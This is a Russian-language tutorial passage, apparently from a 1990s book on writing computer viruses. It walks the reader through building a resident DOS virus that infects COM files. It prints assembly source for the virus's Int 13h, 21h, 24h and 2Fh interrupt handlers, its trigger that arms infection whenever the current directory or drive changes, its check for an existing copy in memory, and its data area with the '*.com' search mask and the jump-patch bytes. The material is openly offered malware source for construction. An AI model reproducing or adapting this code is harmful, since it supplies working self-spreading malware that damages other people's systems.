Область данных вируса

Обработчик Int 28h

Обработчик Int 2Fh

Обработчик Int 24h

Обработчик Int 21h

Обработчик Int 13h

Пишем обработчики прерываний

Восстанавливаем регистры

Перед тем, как передать управление прерванной программе, необходимо восстановить значения регистров, которые имели место при получении управления резидентной программой:

exit_zarasa: ;Восстановим ;регистры ;процессора. .. pop es pop ds pop bp pop di pop si pop dx pop cx pop bx pop ax popf mov ss,cs:ss_save-110h ;Восстановим mov sp,cs:sp_save-110h ;стек. .. iret

Кроме того, вирус восстанавливает стек прерванной программы, без чего дальнейшая работа невозможна.

Для начала выясним, какие прерывания и с какой целью наш вирус будет перехватывать.

Во-первых, необходимо перехватить прерывание Int 21h. Дело в том, что наш вирус является резидентным, и должен заражать файлы при тех или иных событиях в вычислительной системе. Очень многие вирусы активизируются, например, при смене текущего диска или каталога. Этот метод является весьма удачным, и мы реализуем именно его. Но для этого нужно знать, когда именно выполняются смена каталога или диска. Единственный способ узнать о таком событии - это перехватить прерывание Int 21h на себя, и при каждом его вызове проверять, какая именно функция вызывается. Так мы и сделаем.

Во-вторых, нам не обойтись без перехвата Int 13h (см п. 2.13).

В-третьих, поскольку наш вирус будет пользоваться функциями DOS, которые работают с диском в резидентном режиме, необходимо знать, когда можно безопасно обращаться к этим функциям. Для этого следует перехватить прерывание Int 28h, которое всегда вызывается только при выполнении DOS реентерабельной секции своего кода. Иными словами, при возникновении прерывания Int 28h можно смело пользоваться любыми функциями DOS.

Далее, для проверки наличия вирусного кода в памяти наш вирус будет использовать так называемое мультиплексное прерывание - Int 2fh, и поэтому мы должны перехватить и его (см п. 2.7).

И, наконец, мы должны написать обработчик критической ошибки. Она возникает,например, если мы попытаемся записать информацию на вынутую из дисковода дискету. Наш вирус должен перехватить прерывание по критической ошибке (Int 24h) и выполнить его обработку.

Как мы уже выяснили, этот обработчик должен записывать в ячейку " tg_13h " значение " 1 ", если в данный момент выполняется прерывание Int 13h, или значение " 0 " - в противном случае.

К сожалению, в MS DOS отсутствует какое - либо средство, позволяющее узнать, когда именно активно прерывание Int 13h. И поэтому единственный способ решения этой задачи - установка на Int 13h так называемого " фильтра ", который отслеживал бы все вызовы вышеуказанного прерывания.

Самое простое решение - это перехватить Int 13h на себя, а в самом обработчике вызвать системный обработчик как дальнюю процедуру. Конечно, перед этим нужно зап??сат?? в " tg_13h" единицу - это будет индикатором выполнения Int 13h в данный момент. Когда системный обработчик выполнится, управление вновь получит " фильтр ". Поскольку Int 13h уже выполнилось, можно сбросить в "0" переменную tg_13h.

Итак:

; _______________________________________________ ;| | ;| Напишем новые обработчики INT 13h, INT 21h, | ;| INT 24h и INT 2fh. .. | ;|_______________________________________________| to_new_13h equ $-vir new_13h: jmp cs:start_13h tg_13h db 0 ax_13h dw 0 cs_13h dw 0 ip_13h dw 0 start_13h: mov cs:tg_13h - 110h,1 pushf db 9ah ;Код команды old_13h dw 0 ; " CALL ". .. old_13h_2 dw 0 mov cs:ax_13h - 110h,ax;Поместим новый pop ax ;флаг на место mov cs:ip_13h - 110h,ax;старого ( CF ) pop ax mov cs:cs_13h - 110h,ax pop ax pushf mov ax,cs:cs_13h - 110h push ax mov ax,cs:ip_13h - 110h push ax mov ax,cs:ax_13h - 110h mov cs:tg_13h - 110h,0 iret

Здесь константа " to_new_13h " показывает смещение от начала вирусного кода до начала обработчика.

Хотелось бы обратить ваше внимание на одну особенность. Она состоит в том, что прерывания Int 21h и Int 13h возвращают в регистре AX код ошибки, а бит CF регистра флагов используется как индикатор этой ошибки.

Пусть, например, при получении фильтром управления бит CF имел значение FLAG 1, а регистры CS и IP имели значения CS 1 и IP 1.Тогда команда "pushf" занесет значение FLAG 1 в стек. Команда "call" поместит в стек значения CS 1 и IP 1,после чего управление получит системный обработчик. Этот обработчик занесет в стек значение FLAG 2, и при своем завершении выполнит команду "iret". Команда "iret" снимет с вершины стека значения IP 1,CS 1 и FLAG2. Теперь уже наш фильтр сбросит в " 0 " переменную "tg_13h",и командой " iret " передаст управление прерванной программе. Но дело в том, что эта команда извлечет из стека значения IP и CS, которые имели место в момент вызова прерывания Int 13h, а также регистр флагов FLAG 1. Таким образом, из стека будет извлечен FLAG 1 вместо FLAG 2! Чтобы этого не произошло, мы должны поместить в стек FLAG 2 вместо FLAG 1. Именно для этого предназначены команды, записанные после ячейки " old_13h_2 ". Работа этих команд особых пояснений не требует. Мы просто "добираемся" до нужной ячейки в стеке, последовательно считывая предшествующие. Можно, конечно, написать более эффективный фрагмент,зато выбранный нами метод достаточно прост.

Рассмотрим теперь создание обработчика прерывания Int 21h. Как мы договорились, он должен помещать "единицу" в ячейку " tg_infect ", если DOS выполняет смену текущего каталога или диска (см п. 2.5). Поэтому напишем " фильтр ", который будет проверять, какая именно функция DOS вызвана в тот или иной момент:

;------------------------------------------------- to_new_21h equ $-vir new_21h: jmp cs:start_21h tg_infect db 0 start_21h: pushf push di push es xor di,di ;Перехват mov es,di ;INT 24h в рези- mov di,90h ;дентном режиме mov word ptr es:[di],to_new_24h mov es:[di+2],cs cmp ah,03bh ;Активизировать ;вирус ? jne cs:new_cmp_1 mov cs:tg_infect-110h,1;Да - взводим ;триггер. .. new_cmp_1: cmp ah,00eh jne cs:to_jump mov cs:tg_infect - 110h,1 to_jump: pop es pop di popf db 0eah ;Переход на ста- old_21h dw 0 ;рый обработчик old_21h_2 dw 0 ;INT 21h. ..

Поскольку при вызове функции DOS в регистре AH задается ее номер, достаточно просто проанализировать его и " выловить " нужные значения.Наш вирус будет реагировать на смену текущего каталога (AH=03Bh), и смену текущего диска (AH=0Eh). Эти числа и пытается обнаружить " фильтр ".

Далее - так как нам нужно всего лишь определить, какая функция DOS вызвана, нет смысла после завершения системного обработчика передавать управление обратно в " фильтр ". По этой причине отпадает необходимость сложных " манипуляций " со стеком, которые мы проделывали в предыдущем пункте.

Помимо решения своей конкретной задачи, написанный нами обработчик используется для перехвата прерывания Int 24h.Делается это прямым обращением к таблице векторов прерываний. Так же перехватывает прерывания и секция инициализации при установке вируса в память. Правда, вы можете спросить, зачем потребовалась такая сложная методика перехвата, и почему бы не выполнить его в секции инициализации? Дело в том, что такой прием будет "работать" только в MS DOS. WINDOWS 95, например, постоянно восстанавливает вектор Int 24h, что делает бессмысленным изменение вектора " только один раз ". Трудно сказать, зачем в WINDOWS 95 принято восстанавливать вектор. Вероятно, это сделано для надежности работы системы. При создании резидентного EXE-вируса мы поговорим еще об одной " странности " этой популярной операционной системы, которая помешает нам сделать вирусную программу "невидимой" для антивирусных средств.

Этот обработчик должен устанавливать собственную реакцию на критическую ошибку. Вызывается он очень редко, поэтому просто сделаем так,чтобы при появлении ошибки не происходило " зависание ". Для этого достаточно вернуть управление прерванной программе, поместив предварительно в регистр AL код "3":

;------------------------------------------------- to_new_24h equ $ - vir new_24h: mov al,3 ;Вернем програм- iret ;ме управление

Напишем обработчик Int 2Fh. Мы договорились использовать это прерывание для проверки наличия вируса в памяти. Напомним, что секция инициализации для решения указанной задачи вызывает Int 2Fh c такими параметрами:

AX = 0F000h BX = 01997h.

Если вирус уже инсталлирован в память, его обработчик должен вернуть AL = 0FFh, это значение и анализирует секция инициализации при запуске зараженшой программы. Исходя из всего сказанного, можно написать такой фрагмент:

;------------------------------------------------- to_new_2fh equ $ - vir new_2fh: pushf cmp ax,0f000h jne cs:not_our cmp bx,1997h jne cs:not_our mov al,0ffh popf iret not_our: popf db 0eah old_2fh dw 0 old_2fh_2 dw 0

Если вызывается прерывание Int 2Fh с параметрами, отличными от AX = 0F000h и BX = 01997h, вирусный обработчик просто возвращает управление системному. В противном случае управление передается прерванной программе, причем в этом случае AL будет равно 0FFh.

Строго говоря, мы его уже написали (см. п. 2.5, п. 2.6 и т.д.). Именно он занимается поиском и заражением файлов,пользуясь для этого функциями DOS. Но так как эти функции используются тогда, когда активно прерывание Int 28h, ничего страшного произойти не должно.

Теперь мы можем привести все данные, с которыми работает наш вирус:

;/***********************************************/ ;Data area old_bytes db 0e9h ;Исходные три dw vir_len + 0dh ;байта. .. dta_save db 128 dup (0) ;Массив для DTA maska db '*.com',0 ;Маска для поис- ;ка. .. fn db 12 dup (' '),0 ;Место для имени ;файла new_bytes db 0e9h ;Код команды ;" JMP. .." db 00h ;HIGH db 00h ;LOW ;Он записывается ;в файл вместо ;первых трех ;байт. .. end_file db 0ebh ;Первые два бай- db push_len ;та вируса в ;файле (команда ;перехода на се- ;кцию инициали- ;зации. .. ss_save dw 0 ;Буфера для SS sp_save dw 0 ;и SP. .. help_word dw 0 ;Промежуточная ;ячейка. com_com db 'COMMAND' ;Имя командного ;процессора. .. inside db 0 ;Ячейка - инди- ;катор. .. last db 0 ;Последний байт to_newstack equ $ - vir ;Смещение к сте- ;ку. .. newstack dw 70 dup ( 0 ) ;Новый стек. ..